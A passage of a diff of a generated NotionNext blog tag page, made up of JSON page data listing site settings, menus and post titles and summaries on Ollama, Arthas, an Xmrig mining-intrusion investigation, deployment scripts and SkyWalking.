fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"微服务"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"微服务"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 